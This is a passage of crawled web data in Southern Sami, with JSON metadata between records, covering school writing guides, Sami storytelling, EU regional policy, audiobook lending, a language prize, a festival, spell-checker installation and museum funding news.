jïh vaarjoe-bovrine jallh dagke skïemtje-hïejmine.\nNaemhtie Sööfe dan bïjre tjaaleme:\nJïjtje aaj barkoem åtnam skuvlen baalte jïh dejnie hijvenlaakan tråjjedem. Mov vuajnoen mietie gujht jïjnjh hijven aevhkieh dagkeres lissie-barkoem utnedh. Uvtemes dle beetnegh dïenesjh guktie maahtah såemies aath åestedh mej mietie heeledh. Joekoen hijven slyöhpedh\nfïerhten aejkien eejhtegidie gihtjedh beetnegi mietie.\nGuktie digkiedimmie-tjaalegem tjaeledh?\nGosse edtjh digkiedimmie-lahtesem tjaeledh dellie hijven vïjhteboelhke-vuekiem nuhtjedh. Voestegh aalkoem tjaalah gusnie soptsesh ånnetji man bïjre ussjedamme tjaeledh. Dellie åejvie-boelhkem tjaalah gusnie edtjh golme argumenth utnedh. Minngemes dellie galhkuvem tjaalah. Galhkuvisnie konklusjovnem jallh åenehks iktiedimmiem tjaalegistie tjaalah.\nGosse edtjh digkiedimmie-lahtesem tjaeledh dellie hijven maallen mietie tjaeldh. Diedtieh jïh lohkh digkiedimmie-lahtesem Barkedh skuvlen bealese? Jaavoe gæjhtoe! Daam digkiedimmie-lahtesem hijven maalline nuhtjedh gosse edtjh tjaeledh.","id":"","dump":"CC-MAIN-2017-17","url":"http:\/\/ndla.no\/nb\/node\/173114?fag=126960","date":"2017-04-29T19:28:26Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-17\/segments\/1492917123560.51\/warc\/CC-MAIN-20170423031203-00045-ip-10-145-167-34.ec2.internal.warc.gz","language":"sma","language_score":1.0000069141,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 1.000006914138794}","num_words":143,"character_repetition_ratio":0.091,"word_repetition_ratio":0.0,"special_characters_ratio":0.139,"stopwords_ratio":0.042,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Saepmie jïh EE\nEE:n regijovnepolitihken ulmie lea ekonomije jïh sosijale ektievoete lïhtsege-laanti gaskoeh stueriedidh jïh regijovne ov-balanse jïh mij joekehts ekonomijen övtiedimmesne lea unniedidh. Almetji gïele-vadtemen männgan goh Sveerje meatan EE:ese veedtsi leah saemiej gaskesh EE'ine stueridamme vierhtieh jieleme-, barkoemaarhna- jïh ienteme-politihke darjoemidie. Beetneh-vierhtieh barkose jeanatjommes struktuvrh-fondistie båetieh.\nSaemiej lea aalkoe-almetjinie sjïere daltese jeatje unnebelåhakoe-dåehkiej vuestie. Sveerjen jïh Såevmien gaskese-dïedte EE:ese lea gaskese-tjaalege gåhtjoen \"saemien buertiegärja\". Tjaalegisnie buerkiestimmieh leah buertiegärjaj bïjre, mah leah bïejeme konstitusjovnese, jeatjebigujmie lea addendume 2 tjaatsegasse CIG 86\/04. Desnie daate buerkiestimmie saemiej bïjre:\nb. Buerkiestimmie saemiej bïjre Krööhkestimmine artikeli 59:esne jïh 60:esne buertiegärjesne gaskese-buertiegärjaj jïh gaskese-tjaalegi bïjre Gåangkarïjke Danmarkese, … Republihke Såevmie jïh Gåangkarïjke Sveerje konferanse byjhke aelide jïh lååjkesdahkide mejtie Sveerje jïh Såevmie saemiej vuestie nasjovne jïh gaskenasjovne reaktoej mietie åtna. Konferense jååhkesje Sveerje jïh Såevmie hov leah nännoestamme dah tjuerieh saemiej jielemasse-nuepieh, gïele, kultuvre jïh jïelemevuekie vaarjelidh jïh övtiedidh jïh aaj krööhkestidh ahte primäre jieleme-aajegh goh båatsoe-jieleme leah maadth-repmie saemien kultuvrese jïh saemiej jielemassese tradisjovne dajvesne.\nSjïere EE-provgrammh\nSaemiedigkie lea männgan Sveerje EE:en sïjse veedtsi eadtjohke-laakan sjïere EE-programigujmie saemiedajvese barkeme juktie ekonomije nuepieh sjïdtemen jïh ientemen åvteste stueriedidh kultuvren jïh jielemassen sektovri sisnie. Regijovne myndigheth, tjielh jïh lokale saemien aktörh leah sijjen barkosne konkrete övtidimmie-projektine EE-provgrammi sisnie sinsitnide geatskanamme. Saemien instistusjovnh, sïjth, siebrieh, stiftelsh jïh jeatjah aktörh tjabrehtovveme beetneh-vierhtieh sijjen projektide ohtsedidh jeatjijstie goh sijjen tradisjovne dåarjoe-kanaalijste. Mij destie sjïdteme lea stuerebe laavenjosteme tjieltigujmie jïh regijovne jïh staaten myndighetigujmie.\nUlmie\nÅejjie-ulmie saemien EE-provgrammide lea saemien kultuvre jïh siebredahkh-jieleme nännoestidh jïh övtiedidh. Pryöveme lea tradisjovne jieleme-sjïehtesjimmie nännoestidh jïh gorredidh jïh seamma aejkien nuepieh orre jieliestïerhke darjomh skaepiehtidh. Ulmie guhkies våårjosne lea juekeme jïh övtiedamme saemien jielemasse mij tseegkeme lea iktiedimmesne byjresken, kultuvren jïh tradisjovnen gaskoeh. Vihkeles tradisjovne saemien maahtoe nuhtjedh jïh övtiedidh, jïh jillebe ööhpehtimmie jïh doedtkeme mij samiej tsiehkide sjïehtedidh.","id":"","dump":"CC-MAIN-2017-17","url":"https:\/\/www.sametinget.se\/2276","date":"2017-04-26T07:57:45Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-17\/segments\/1492917121216.64\/warc\/CC-MAIN-20170423031201-00170-ip-10-145-167-34.ec2.internal.warc.gz","language":"sma","language_score":0.9999895096,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999895095825195}","num_words":293,"character_repetition_ratio":0.057,"word_repetition_ratio":0.0,"special_characters_ratio":0.138,"stopwords_ratio":0.215,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"MTM gärjah darjoe jih löönede mah leah sjiehtesjamme dutnjan gien lea lohkemetsagkesh.\nSjïere luehpie gååvnese Upphovsrättslaakesne mij luehpie vadta soptsestimmiegärjide darjodh. Dah leah sijse lohkeme eanghkoen dutnjan gien lohkemetsagkesh jih åtna geerve deadtasovveme teeksth lohkedh. Ih leah luehpie sopsestimmiegärjah löönedh ajve juktie sveerjen gïelem lïeredh.\nGaajhkh gärjavårhkoeh Sveerjesne sopsestimmiegärjah löönedieh. Ih sjiere vïhtesjimmiem daarpesjh, maahtah baare jïehtedh tjoejegärjide daarpesjh. Soptsestimmiegärjah löönedh iktesth åesehts. Gïhtjh barkijh, dah maehtieh datnem viehkiehtidh.\nLegimus lea mijjen kaataloge mestie maahtah gärjide våålese veedtjedh. Dov gärjagåetesne maahta viehkiem mietie gïhtjedh nuhtjijem jih tjeakoesbaakoem åadtjodh jih guktie darjodh. Daarpesjh jis sveerjen persovnenummere utnedh juktie luehpiem åadtjodh våålese veedtjedh.\nMaahtah gellie ovmesi vuekiej mietie soptsestimmiegärjah lohkedh: soptsestimmiegärjatjoejedahkine, daatovresne jallh mobijleteelefovnesne.\nGåerede aaj daarhvetjaelemegärjah gellie ovmese gïeline löönedh. Maahtah mijjiem gaskesadtedh jis sïjhth aelkedh daarhvetjaelemegärjah löönedh.\nLegimuskatalogesne maahtah vuejnedh mah soptsestimmiegärjah jih daarhvetjaelemegärjah gåerede löönedh. Desnie maahtah aaj jeatjah måedtiesåårts gärjah gaavnh. Mijjieh maehtebe aaj datnem viehkiehtidh jis sïjhth gärjah jeatja laantiste löönedh.","id":"","dump":"CC-MAIN-2017-17","url":"http:\/\/www.legimus.se\/102627\/sydsamiska-aarjelsaemien","date":"2017-04-26T17:53:18Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-17\/segments\/1492917121528.59\/warc\/CC-MAIN-20170423031201-00079-ip-10-145-167-34.ec2.internal.warc.gz","language":"sma","language_score":0.9999922514,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9999922513961792}","num_words":154,"character_repetition_ratio":0.099,"word_repetition_ratio":0.0,"special_characters_ratio":0.124,"stopwords_ratio":0.097,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Soptsese vuesiehtimmie\n- Gusnie heannede\n- Gïeh leah meatan\nTjaalegen åejvie-boelhkesne\n- Tjaelije soptseste maam heannede\nTjaalegen galhkuve buerkeste\n- Guktie sjædta\nSoptsesem tjaeledhDaesnie raerieh guktie datne maahtah soptsesem tjaeledh. Åvtelen aalkah tjaeledh, tjoerh tjaalegem soejkesjidh:\n- Mij lea soptsesen ov-vaantoe?\n- Mah almetjh råakebe?\n- Gusnie libie?\nTjaelieminie\nGosse datne tjaalegem tjaelieminie tjoerh ussjedidh, man varke jïh tjarke soptsesem soptsesth. Åenehks raajesigujmie dellie soptsese varkebe jåhta. Guhkebe raajesigujmie, mah byjresem jallh dah almetjh buerkiestieh, dellie soptsese ij dan varke juhtieh. Jis gaajhkh sööjmes juhtieh, dellie tjaalege ov-rovne sjædta. Men jis soptsese varke jåhta, dellie kaanne gïervebe sjædta dam guarkedh.\nMænngan leah tjaaleme\nMænngan datne leah tjaalegem tjaaleme, dellie tjoerh naan tsiehkieh gïehtjedidh:\n- Daate ektiedimmie-tjaalege?\n- Guktie leah soptsesen boelhkh ektiedamme? Daan aalkoe, åejvieboelhke jïh galhkuve.\n- Guktie soptsese gieltegåbpoe sjædta?\nDatne lohkijem tjaalegasse böörh\nAalkovisnie mijjen göökte ulmieh:\n- Mijjieh tjoerebe tjaalegem aelkedh guktie lohkije sæjhta vielie lohkedh.\n- Mijjieh tjoerebe tsiehkiem åehpiedehtedh.\nVuesiehtimmie:\n\"Riepie lij ikth sualadamme naa jïjnjh bovtsh. Doh jeatjah juvrh lin viehkiehtamme leekeme. Jïh dle krovhten dle tseegkin.\"1\nMijjieh lohkebe dellie tsiehkie lea riepie lea bovtsh sualadamme jïh dah jeatjah juvrh dejtie leekin. Dellie aelkebe ussjedidh guktie daate sjædta?\nOv-vaantoem åehpiedehtedh\nDellie edtjebe dah persovnh soptsesisnie åehpiedehtedh. Daesnie tjaelije tjuara soptsestidh dan jïjnje guktie lohkije soptsesem guarkoe. Daate boelhke ij daarpesjh dan gieltegs årrodh.\nVuesiehtimmie:\n\"Gosse dïhte bearkoe lij dle doelteme, dle dïhte riepie vaadtsa akten sporjehke deavan nïlle jïh dle gylje: \"Dle maa manne vuajnam almetjh röövrigujmie jïh saejhtiejgujmie jis båetieh! » Gaajhkh juvrh dan bïllijin, hajkelin varke edtjin tjïekedidh. Njåemele jïh tjetskie hajkejigan akten krovhten nualan tjïekedigan.\"2\nDaate lea maam riepie ussjede, dïhte sæjhta dah jeatjah juvrh edtjieh daebpede vuelkedh. Riepie sæjhta dejtie beltedh.\nVielie bïevnesh ov-vaantoen bïjre\nDaennie boelhkesne edtjh vielie ov-vaantoen jallh heannadimmiej bïjre tjaeledh. Daesnie maahtah tjuvtjiedidh mïsse edtja båetedh, men aellieh fer jïjnjem tjaelieh.\n\"Numhtie dle tjïrrelgöötin dah altese bieljie-gietjieh. Jïh numhtie die leah dah tjeehpes daan biejjien aaj guktie åvtetje biejjieh. Dïhte tjetskie dïhte golh båelti dam altese siejpie-gietjiem aaj. Jïh numhtie die lea dïhte aaj tjeehpes.\"3\nDaesnie soptsestæjja buerkeste guktie tjetskien bieljie-gietjieh jïh siejpie-gietjie tjeehpes sjïdtin. Saemien soptsesinie gellien aejkien eatnemen jïh juvri bïjre.\nSoptsesem galhkedh\nMinngemes dellie gaajhkh bïevnesh båetieh jïh soptsestæjja soptseste guktie sjædta:\n\"Jïh dïhte riepie! Dïhte golh gaajhke bearkoem oktegh bårreli.\"4\nman varke\ntempo\nman tjarke\nintensitet\nektiedimmie-tjaalege\nsammenhengende tekst\nKontekst\nKompetansemål\n- Læreplan i samisk som førstespråk\n- skrive tekster med tema og fagterminologi tilpasset eget utdanningsprogram etter mønster fra ulike eksempeltekster\n- tilpasse språk og uttrykksmåter til ulike skrivesituasjoner i skole, samfunn og arbeidsliv\n- lese utvalgte tekster fra perioden etter 1995, sette dem inn i en kulturhistorisk sammenheng og reflektere over språk og innhold\n- gjøre rede for et bredt register av språklige virkemidler og forklare hvilken funksjon de har","id":"","dump":"CC-MAIN-2017-22","url":"http:\/\/ndla.no\/nb\/node\/171136?fag=126960","date":"2017-05-24T10:18:21Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-22\/segments\/1495463607811.15\/warc\/CC-MAIN-20170524093528-20170524113528-00521.warc.gz","language":"sma","language_score":0.999987483,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999874830245972}","num_words":442,"character_repetition_ratio":0.042,"word_repetition_ratio":0.0,"special_characters_ratio":0.162,"stopwords_ratio":0.072,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Soptsesh\nSaemien soptsesh\nSaemien soptsesh jallh heamturh jeatjhlaakan jeatjah laantijste aaj heamturh Nöörjeste jïh Sveerjeste. Eah saemieh soptsestieh slåahten, gånkan, gånkan nïejten jallh gånkan baernien bïjre. Jens Ivar Nergård1 jeahta saemien soptsestimmie-vuekie lea \"Dïhte jielije dååjrese\". Saemien soptsesh vuesiehtieh guktie saemieh eatnamisnie jealeme jïh guktie eatnemen vierhtide nuhtjeme.\nSaemieh soptsestieh guktie saemieh eatnamasse böötin jïh aaj guktie kreekh leah skaepiedamme. Saemieh aaj soptsestieh nåejtiej, sjïele-hearraj jïh mievriestæjjaj bïjre mah meehtin almetjem juvre-hammose bïejedh. Gosse edtjin dam darjodh die tjoerin veeljedh dam juvrem mïsse almetje plïeresadtje. Dïhte guhte juvren hammosne, meehti ussjedidh goh aerebi. Dïhte tjoeri desnie årrodh goske nåejtie gærroem luejhtieji jallh aaj goske jeemi, jallh aaj goske hammoe idtji vielie sjïehth juktie mïele jorkesovveme.\nSaemien soptsesi ovmessie ulmieh:\n- edtjieh faepieldidh\n- edtjieh dååjresi bïjre soptsestidh\n- edtjieh darjodh juktie saemieh maehtieh ovmessie dååjresh seammalaakan guarkedh\n- edtjieh kultuvrem vaarjelidh\n- dah edtjieh vuesiehtidh guktie edtjebe dåemiedidh jïh jieledh\n- maanah jïh geerve almetjh soptsesi tjïrrh lïerin eatnemen seahkaridh\n- staaloe\n- rovhtege\n- saajve\n- bïerne\nJeatjah aalkoe-almetji soptsesh\nMijjieh hov daejrebe man bïjre saemieh soptsestin. Men jeatjah aalkoe-almetjh dah aaj seammalaakan soptsesh utnieh guktie mijjieh?\nHeamturh\nHeamturh leah soptsesh almetji, kreeki jïh jeatjah gaagkoej bïjre. Gellien aejkien dahkoe lea slåahten, gånkan, gånkan nïejten jallh gånkan baernien bïjre. Gellie ovmessie heamturh gååvnesieh. Almetje-heamturh dellie soptsestæjja jallh tjaelije ovnohkens. Mearan tjeahpoe-heamturh dellie daejrebe gie heamturem tjaaleme.\nKontekst\nKompetansemål\n- Læreplan i samisk som førstespråk\n- gjøre rede for samisk fortellertradisjon og sammenligne med noen andre urfolks fortellertradisjon\n- bruke faglige kunnskaper og begreper i samtaler om tekst og språk\n- lytte til, systematisere og sammenholde informasjon i muntlige tekster og reflektere over innholdet\n- orientere seg i tekster av ulik kompleksitet og velge ut, sammenfatte og vurdere relevant informasjon\n- lese ulike tekster og bruke dem som utgangspunkt for egen tekstproduksjon\n- beskrive ulike sagn- og eventyrvarianter og gi eksempler på spor av kulturutveksling i sagn og eventyr fra noen andre folkegrupper","id":"","dump":"CC-MAIN-2017-22","url":"http:\/\/ndla.no\/nb\/node\/131964?fag=126960","date":"2017-05-24T10:23:24Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-22\/segments\/1495463607811.15\/warc\/CC-MAIN-20170524093528-20170524113528-00039.warc.gz","language":"sma","language_score":0.9998673201,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.99986732006073}","num_words":306,"character_repetition_ratio":0.059,"word_repetition_ratio":0.0,"special_characters_ratio":0.156,"stopwords_ratio":0.095,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Gïeleskreejremeåasa vadtasåvva fïerhten njealjeden jaepien Saemiedigkeste, jïh maahta vadtasovvedh akten almetjasse jallh sïeltese, prosjektese jallh seabran mij lea jïjnjem barkeme juktie saemien gïelh nænnoestehtedh, evtiedidh jïh vaarjelidh. Åasa lea 50 000 kråvnah jïh akte tjeahpoediplome.\nSaemiedigkie muana gie edtja åasam åadtjodh. Åasa vadtasåvva Saemiedigkien stoerretjåanghkoen sjïekenisnie ruffien.\n- Gellie saemien gïelegæmhpojh, dovne aktegsalmetjh, siebrieh jïh institusjovnh mah leah dorjeme jïh annje darjoeh aktem joekoen hijven barkoem saemien gïeli gaavhtan. Mijjieh saemiedigkieraeresne aavoedibie gellie kandidaat dåastodh jïh vuarjasjidh, jïh mijjieh tjarke aavoedibie Gïeleskreejremeåasam vedtedh govhteden aejkien daelie, saemiedigkieraerie Lars Filip Paulsen jeahta, mij dïedtem åtna gïeli åvteste saemiedigkieraeresne.\nMinngemes aejkien åasa vadtasovvi lij 2013. Dellie tjaelije, joejkije jïh lohkehtæjja Ánte Mihkkal Gaup\/Ingor Ántte Ánte Mihkkal Guovdageaidnuste dam åadtjoeji.\nSaemien gïeleraerie gïeleskreejremeåasam tseegki jaepien 2000 jïh åasa voestes aejkien vadtasovvi Saemiedigkien stoerretjåanghkoen sjïekenisnie gålkoen 2000. Dan mænngan Saemiedigkien gïeleståvroe jïh saemiedigkieraerie åasam vadteme. Saemiedigkien gïeleskreejremeåasa vadtasovvi Eejhtegedåahkan Divtasvuodnesne jaepien 2000, Gïeledåehkie Skånlandesne dam åadtjoeji 2001, Harry Solhaug Kåfjordeste jaepien 2002, jïh Sagka Stångberg Dearneste dam åadtjoeji 2009.\nGaajhkesh maehtieh raeriestimmine båetedh gie byöroe gïeleskreejremeåasam vitnedh, jïh tïjjemierie juktie raeriestimmieh seedtedh lea voerhtjen 30.b. Seedth raeriestimmide diekie: email@example.com.","id":"","dump":"CC-MAIN-2017-26","url":"https:\/\/saemiedigkie.no\/Preesse\/Preessebievnesh\/Daelie-maahtah-kandidaath-raeriestidh-gieleskreejremeaaasese","date":"2017-06-28T17:22:49Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-26\/segments\/1498128323721.80\/warc\/CC-MAIN-20170628171342-20170628191342-00138.warc.gz","language":"sma","language_score":0.9999814034,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 0.9999814033508301}","num_words":175,"character_repetition_ratio":0.095,"word_repetition_ratio":0.0,"special_characters_ratio":0.151,"stopwords_ratio":0.126,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Dihte åarjelsaemien kultuvrefeestivale «Raasten Rastah» sjidti öörnedehtedh voestes aejkien 2002, jih daelie lea gaektsede aejkien dihte feestivale edtja årrodh, dah dam pressebïevsne tjaelieh.\nDaate lea feestivale abpe fuelkhide jih lea darjome maanide, noeride jih geervide. Feestivalem edtja råakesijjie dejtie saemide mah åarjelsinie årrodh, dovne nøørjen jih sveerjen bealesne.\nDaan jaepien dihte åehpies hip-hop artiste Maxida Märak edtja båetedh. Jih ij lea barre akte konserte dihte edtja utnedh, mohte gøøkte. Laavadahken iehkede Marja Mortensson jih Katarina Barruk edtjigan konserte utnedh. Dah guaktah tjaaligan sov jijtje teektsh, jih daelie edtjtigan seamma arenasne tjåadtjodh.\nÅenehksjielemeguvviem «Stoerre Vaerie» edtja aaj vuesiehtidh, jih lea gaavnedimmie filmen åavtehke Amanda Kernell jih dah dorjehtæjjah mij lea spealadamme jielemeguvvien sisnie «Sameblod».\nÅarjelhsaemien teatere edtja vuesiehtidh «Sïlpegaaltije», jih lea Cecilia Persson jih Charlotte Kappfjell mij lea vaajesen meatan.\nDatne maahtah abpe programme daesnie lohkedh.","id":"","dump":"CC-MAIN-2017-51","url":"https:\/\/www.nrk.no\/sapmi\/_raasten-rastah_-_-feestivale-abpe-fuelhkide-1.13143498","date":"2017-12-11T15:23:47Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-51\/segments\/1512948513611.22\/warc\/CC-MAIN-20171211144705-20171211164705-00096.warc.gz","language":"sma","language_score":0.999935627,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 0.9999356269836426}","num_words":134,"character_repetition_ratio":0.036,"word_repetition_ratio":0.0,"special_characters_ratio":0.16,"stopwords_ratio":0.164,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"– Dïhte buektehtæjja munnjan ringki jïh gihtji mejtie manne sïjhtim meatan årrodh, jïh hævvi dam sïjhtem, Marja Lisa Thomasson soptsetse.\nVuesiehtimmiem, Rebella Heks lea akte nïejte bijre mij tante Tarvan luvnie årroeminie, jïh akten biejjien svaalem Mikkelita råaka. Jïh dïhte lea Mikkelita mij Thomasson edtja spealadidh.\nGellie vuesiehtimmine meatan orreme\nIj daate voestes aejkien goh Marja Lisa scenesne tjåådtje, dïhte gellie vuesiehtimmine meatan orreme. Vuesiehtimmien gaavhtan 'Mon lean duhát jagi' (Giron sámi teáhter), Åarjelsamien teaterisnie, jïh mejtie datne åarjelsaemien maana-tv raajroem Laara & Læjsa vuejneme, dle Marja Lisa lea åehpies dutnjan.\nAavode spealadidh\nThomasson soptsetse Rebella Heks aerebi vuejneme jïh tuhtjie lustes vuesiehtimmie, jïh ahte aavode meatan årrodh. Mij dellie lustemes daejnie barkjojne?\n– Åadtjoem stååkedh jïh gaajh 'crazy' årrodh, jïh manne tuhtjem dïhte buerie, Thomasson jeahta.\nMarja Lisa Thomasson\nManne leam åarjelsaepmien støøremes instajunkie\nEejehtimmesne gosse ij leah dorjehtæjja, dle lyjhkoe guvviedidh jïh lea joe gellie kåanstevuesiehtimmieh utneme. Dïhte aaj soptseste dïhte lyjhkoe guvvieh instagramese bïejedh, jïh vuejnedh mij desnie deahpa. Jïh dan åvteste jijtjemse instajunkie gohtje.","id":"","dump":"CC-MAIN-2018-26","url":"https:\/\/www.nrk.no\/sapmi\/marja-lisa-svaale-sjaedta-_mikkelita-fjellrev_-1.12348825","date":"2018-06-19T18:45:07Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-26\/segments\/1529267863109.60\/warc\/CC-MAIN-20180619173519-20180619193519-00508.warc.gz","language":"sma","language_score":0.9999104738,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 0.9999104738235474}","num_words":165,"character_repetition_ratio":0.071,"word_repetition_ratio":0.0,"special_characters_ratio":0.162,"stopwords_ratio":0.115,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Staeriedæjjah abpe systeemesne\nWindows\nBarkeminie libie staeriedæjjine mij edtja abpe Windowisnie juhtedh, badth ij leah aelhkie. Jienebh bïevnesh båetieh dan bealan.\nOSX\nStaeriedæjjah OSXasse leah annje betakvaliteete. Vihkielommes aamhtese daelie lea guktie sijjiedehtedh gosse dan jïjnjh gïelh. Mijjen lea sjïere bielie Gusnie bïhkedassh leah, guktie sijjiedehtedh versjovnem gusnie gellie gïelh mealtan. daej staeriedæjjaj gïele lea seamma hijven goh Word-staeriedæjja.\n|Gïele:||Versjovne:||Dokumentasjovne jïh gaaltije:|\n|Noerhtesaemien||4.0.1b||Dokumentasjovne noerhtesaemiengïelese jïh gaaltijekovde.|\n|Julevsaemien||4.0.1b||Dokumentasjovne julevsaemiengïelese jïh gaaltijekovde.|\n|Åarjelsaemien||4.0.1b||Dokumentasjovne åarjelsaemiengïelese jïh gaaltijekovde.|\nSijjiedehtedh: Sirtieh dam fijlem maam leah veedtjelamme. ~\/Bibliotek\/Services\/ naemhtie: Rïhpesth aktem orre Finder-klaasem, Mïnnh læstose Mïnnh > Mappesne ..., tjaelieh dellie ~\/Bibliotek\/Services\/ diedtieh \"enter\". Dan mænngan maahtah, dam fijlem maam leah veedtjeme, bïejedh dan mappese. Guektien aejkien diedtieh dam fijlem, mænngan goh la særteme dam, dle loggedh olkese jïh viht gåatan tjaangedh.\nGuktie åadtjodh daejredh mejtie staeriedæjja jåhta guktie ussjedamme, rïhpesth Systemvalg... > Tastatur> Tekst, Vuartesjh mejtie dov gïele lea mealtan dennie læstosne Stavekontroll, med «(MacVoikko)» gïelenommen duekesne. jis ij, ikth vielie maskinam aelkiehtidh.\nUtnieh: Programmine gusnie systemstaeriedæjja lea åtnosne (jeenemes programmine lea, mohte ij leah MS Wordesne, Firefoxesne jïh naan vielie sïejhme programmine) maahtah barre staeriedæjjaklaasem rïhpestidh: Rediger > Stavekontroll og grammatikk > Vis stavekontroll og grammatikk. Dan mænngan dellie gïelem dehtie læstoste veeljh. Jis sijht barre ketede dam gïelem utnedh daennie staeriedæjjesne, maahtah sïejhtemgïeline darjodh staeriedæjjesne. daesnie Systemvalg > Tastatur > Tekst.\nLinux\nStaeriedæjjah mah juhtieh Linuxine, lea gaajhke maam desnie daarpesjh.Gaajhkh programmh dam utnieh. Dan raajan tjoeverh jïjtje staeriedæjjam bigkedh. Mijjieh libie barkeminie åadtjodh gaajhkide paagkide mah leah daerpies, (inklusive våre egne språkmodeller, tilgjengelige via de vanlige pakkerepositoriene.)\nGuktie staeriedæjjam Linuxinie bigkedh, daesnie gaavnh: daesnie.","id":"","dump":"CC-MAIN-2018-30","url":"http:\/\/divvun.no\/sma\/korrektur\/oswide.html","date":"2018-07-21T11:38:33Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-30\/segments\/1531676592523.89\/warc\/CC-MAIN-20180721110117-20180721130117-00099.warc.gz","language":"sma","language_score":0.9999340773,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9999340772628784}","num_words":255,"character_repetition_ratio":0.078,"word_repetition_ratio":0.0,"special_characters_ratio":0.167,"stopwords_ratio":0.086,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"32 jaepieh vuertemetïjje maahta bijjelen årrodh\nGöökth jaepien Saemiedigkie råårestallemetjåanghkoeh tjïrrehte reerenassen departemeentigujmie mah dïedtem utnieh saemien aamhtesi åvteste. Daan jaepien tjåanghkoe tjïelteministerinie åarjelsaemien dajvese bïejesovvi. Evteben våhkoen tjïelteministere Monica Mæland jïh Saemiedigkiepresidente Aili Keskitalo guessine mïnnigan Snåasese jïh Saemien Sijtese.\nMæland nuepiem åadtjoeji buerebelaakan Saemien Sijtine åahpenidh jïh dej soejkesjigujmie akten orre gåetien bïjre.\n– Manne meatan vaaltam dejtie vuajnojde mejtie leam daesnie åådtjeme daan biejjien. Manne tjarke guarkam daate gåetie mij daan biejjien åtnasåvva lea fer onne sjïdteme jïh lea aktene hammosne mij ij leah hijven jïh ij leah sjïehtedamme båetijen aajkan. Saemien Sijte akte joekoen vihkeles kultuvreguedtije jïh vihkeles orrestamme lokaalh åadtjodh mej sisnie gåarede barkedh jïh gusnie maahta vaarjelidh dejtie \"skaehtide\" mej åvteste seamadamme dïedtem vaeltedh. Manne dovne kultuvreministerem jïh Jeløya-bæjhkoehtimmiem dåarjoem mah sijhtieh daam bigkemem tjirrehtidh dan gåhkese gåarede jïh dan dahkoesijjien sisnjelen maam utnebe, Mæland Sami Ođasmagasiidnese jeahta mænngan vuesiehtamme lea gaervies.\nOrre gåatan jaahka\nSaemiedigkiepresidente Aili Keskitalo lea joekoen positijve ministeren vaaksjomen mænngan. Daelie Keskitalo veanhta åarjelsaemien museume jïh kultuvrejarnge Snåasesne vierhtieh åådtje akten orre gåatan joe mubpien staatebudsjedtesne.\n– Mijjieh tuhtjimh ministere daarpesji tsiehkiejgujmie Saemien Sijtesne åahpenidh, dovne guktie dah leah daan biejjien, men aaj dej soejkesjigujmie båetijen aajkan. Daesnie hijven nuepieh gååvnesieh dovne aktem sjïere museumebarkoem buektiehtidh, aktem sjïere kultuvrebarkoem jïh ij goh unnemes aktem sjïere fealadassebarkoem buektiehtidh mah leah ektiedamme Saemien Sijtese, saemiedigkiepresidente Aili Keskitalo jeahta.\n32 jaepieh guhkies vuertemetïjje\n32 jaepieh åarjelsaemieh leah akten buerebe gåetien åvteste barkeme. Gåetie lea guhkede gietjeste fer nåake jïh fer onne sjïdteme. Magasijne lea bïejesovveme akten båeries vaeknievåarhkose maam Nato aarebi nuhtji. Vaallah Saemien Sijten eensi tjöövke jallh lïegkedimmietjiehtjele jïh ij akt dorjesovveme vuasahtallemidie.\n– Daate gåetie lea neebnesovveme Jeløya-bæjhkoehtimmesne, guktie daelie sån tjuara ajve formaliteeth årrodh åvtelen daate gåetie maahta bigkesovvedh. Manne gujht jaahkam mijjieh hijven saernieh åadtjobe daan jaepien staatebudsjedten sjïekenisnie, Keskitalo jeahta.\nStåvroeåvtehke Saemien Sijtesne, Dan Jåma ånnetji vååregelaakan dåajvoehtasse jaahka beetnegi bïjre varke.\n– Joekoen vihkeles mijjese gosse tjïelteministere guessine båata dan åvteste dihte jïh kultuvreministere leah doh göökte vihkielommes aktöörh ihke mijjieh edtjebe aktem orre gåetiem åadtjodh. Mijjieh hov 32 jaepieh barkeme aktine vijriedimmine gåeteste, guktie manne hov sïjhtem kroehkememaasjinam gåetiesijjesne vuejnedh åvtelen maam akt jaahkam. Men doestem jiehtedh mijjieh ibie gåessie gænnah dan lïhke ulmiem orreme goh daelie. Guktie mov leah stoerre håhkoeh daelie, Jåma minngemosth jeahta.\nGöökte seammavyörtegs almetjh\nGosse tjïelteministere gyhtjelassem åådtje maam 